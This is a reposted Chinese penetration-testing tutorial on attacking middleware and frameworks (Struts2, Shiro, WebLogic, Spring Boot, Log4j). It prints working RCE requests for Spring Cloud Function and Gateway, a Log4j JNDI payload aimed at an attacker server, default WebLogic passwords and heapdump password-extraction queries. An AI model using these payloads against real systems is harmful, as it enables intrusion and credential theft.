常规渗透测试—中间件及框架漏洞

admin 2023年5月16日08:11:15评论101 views字数 4026阅读13分25秒阅读模式

免责声明

由于传播、利用本公众号夜组安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号夜组安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

朋友们现在只对常读和星标的公众号才展示大图推送,建议大家把夜组安全设为星标”,否则可能就看不到了啦!

常规渗透测试—中间件及框架漏洞
常规渗透测试—中间件及框架漏洞

渗透测试

常规渗透测试—中间件及框架漏洞
常规渗透测试—中间件及框架漏洞

01

指纹识别

识别系统使用框架可通过指纹工具识别出所使用的框架或者产品

Wappalyzer

常规渗透测试—中间件及框架漏洞

tidefinger

常规渗透测试—中间件及框架漏洞


02

CMS二次开发站点

通过目录扫描发现带有 cms 标识残留页面或者通过图标判断出


常规渗透测试—中间件及框架漏洞

通过漏洞库查找相关未修复的漏洞

常规渗透测试—中间件及框架漏洞


03

Struts2

一般使用 struts2 框架后缀带 do 或 action,可以尝试进行利用

常规渗透测试—中间件及框架漏洞

后缀为 action,可能使用了 struts2 框架,使用工具尝试进行利用

常规渗透测试—中间件及框架漏洞

命令执行成功

常规渗透测试—中间件及框架漏洞

04

Shiro

shiro 框架识别可通过数据包中是否含有 rememberme 字段进行判断

常规渗透测试—中间件及框架漏洞

登录抓取数据包,发现存在 rememberme 字段,判断为 shiro 框架,尝试进行

常规渗透测试—中间件及框架漏洞

检测当前密钥和利用链是否存在

常规渗透测试—中间件及框架漏洞

两者存在利用成功

常规渗透测试—中间件及框架漏洞

在攻防演练里 getshell 后还可以对 key 进行修改,防止其他队伍得分

常规渗透测试—中间件及框架漏洞

使用潘神的一键改 key 工具,可看到 key 已经被修改

常规渗透测试—中间件及框架漏洞

05

Weblogic

框架识别

访问 7001 端口出现下面这种截图,可能存在 weblogic 漏洞

常规渗透测试—中间件及框架漏洞

使用 weblogic 漏洞利用工具,检测是否存在漏洞

常规渗透测试—中间件及框架漏洞

执行命令

常规渗透测试—中间件及框架漏洞

weblogic 弱口令

输入 console 可跳转至登录界面,可以测试是否使用默认口令

system/passwordweblogic/weblogicadmin/securitysystem/securitywlcsystem/wlcsystemwlpisystem/wlpisystem

常规渗透测试—中间件及框架漏洞

06

Springboot

框架识别

1、通过 web 应用程序网页标签的小绿叶图标(favicon.ico)

2、通过 springboot 框架默认报错页面

常规渗透测试—中间件及框架漏洞

目录扫描接口

推荐章神的 railgun,有对应的 springboot 字典

常规渗透测试—中间件及框架漏洞

/env、/actuator/envGET 请求 /env 会直接泄露环境变量、内网地址、配置中的用户名等信息;当程序员的属性名命名不规范,例如 password 写成 psasword、pwd 时,会泄露密码明文,同时有一定概率可以通过 POST 请求 /env 接口设置一些属性,间接触发相关 RCE 漏洞;同时有概率获得星号遮掩的密码、密钥等重要隐私信息的明文。
/refresh、/actuator/refreshPOST 请求 /env 接口设置属性后,可同时配合 POST 请求 /refresh 接口刷新属性变量来触发相关 RCE 漏洞。
/restart、/actuator/restart暴露出此接口的情况较少;可以配合 POST请求 /env 接口设置属性后,再 POST 请求 /restart 接口重启应用来触发相关 RCE 漏洞。
/jolokia、/actuator/jolokia可以通过 /jolokia/list 接口寻找可以利用的 MBean,间接触发相关 RCE 漏洞、获得星号遮掩的重要隐私信息的明文等。
/trace、/actuator/httptrace一些 http 请求包访问跟踪信息,有可能在其中发现内网应用系统的一些请求信息详情;以及有效用户或管理员的 cookie等信息。

springboot exploit

目标地址填入要测试的 url,点击检测环境,然后点击检测当前利用链

常规渗透测试—中间件及框架漏洞

java -jar JNDIExploit-1.3-SNAPSHOT.jar -l 1234 -p 8988 -i 0.0.0.0服务器地址填入目标地址,选择相应的端口

常规渗透测试—中间件及框架漏洞

heapdump 密码获取

/heapdump/actuator/heapdump

使用 Eclipse Memory Analyzer 进行分析

http://www.eclipse.org/downloads/download.php?file=/mat/1.12.0/rcp/MemoryAnalyzer-1.12.0.20210602-win32.win32.x86_64.zip

select s from java.lang.String s where /pass/.test(s.value.toString())select * from org.springframework.web.context.support.StandardServletEnvironmentselect * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))

11常规渗透测试—中间件及框架漏洞

springboot function spel rce

发送 poc,成功执行命令

POST /functionRouter HTTP/1.1Host: 127.0.0.1:8080spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc")Content-Type: application/x-www-form-urlencodedContent-Length: 5
xxx

常规渗透测试—中间件及框架漏洞

springboot gateway

添加一个路由

POST /actuator/gateway/routes/test HTTP/1.1Host: 172.20.10.2:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/jsonContent-Length: 329
{ "id": "hacktest", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"id"}).getInputStream()))}" } }], "uri": "http://example.com"}

刷新令路由生效

POST /actuator/gateway/refresh HTTP/1.1Host: 172.20.10.2:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 0

访问触发漏洞

GET /actuator/gateway/routes/test HTTP/1.1Host: 172.20.10.2:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 0

删除路由

DELETE /actuator/gateway/routes/test HTTP/1.1Host: 172.20.10.2:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Length: 4

工具检测

https://github.com/chaosec2021/CVE-2022-22947-POC

常规渗透测试—中间件及框架漏洞

07

Log4j

https://github.com/f0ng/log4j2burpscanner

常规渗透测试—中间件及框架漏洞

java -jar JNDIExploit-1.3-SNAPSHOT.jar -l 1234 -p 8988 -i 0.0.0.0payload=${jndi:ldap://vps地址:1234/TomcatBypass/TomcatEcho}

常规渗透测试—中间件及框架漏洞

08

参考链接

文章作者:pizz33

原文链接:https://pizz33.github.io/

09

往期精彩

常规渗透测试—中间件及框架漏洞

常规渗透测试—信息收集(一)

常规渗透测试—中间件及框架漏洞

红队工具-HTTP Server GO

常规渗透测试—中间件及框架漏洞

原文始发于微信公众号(夜组安全):常规渗透测试—中间件及框架漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月16日08:11:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   常规渗透测试—中间件及框架漏洞http://cn-sec.com/archives/1722787.html

发表评论

匿名网友 填写信息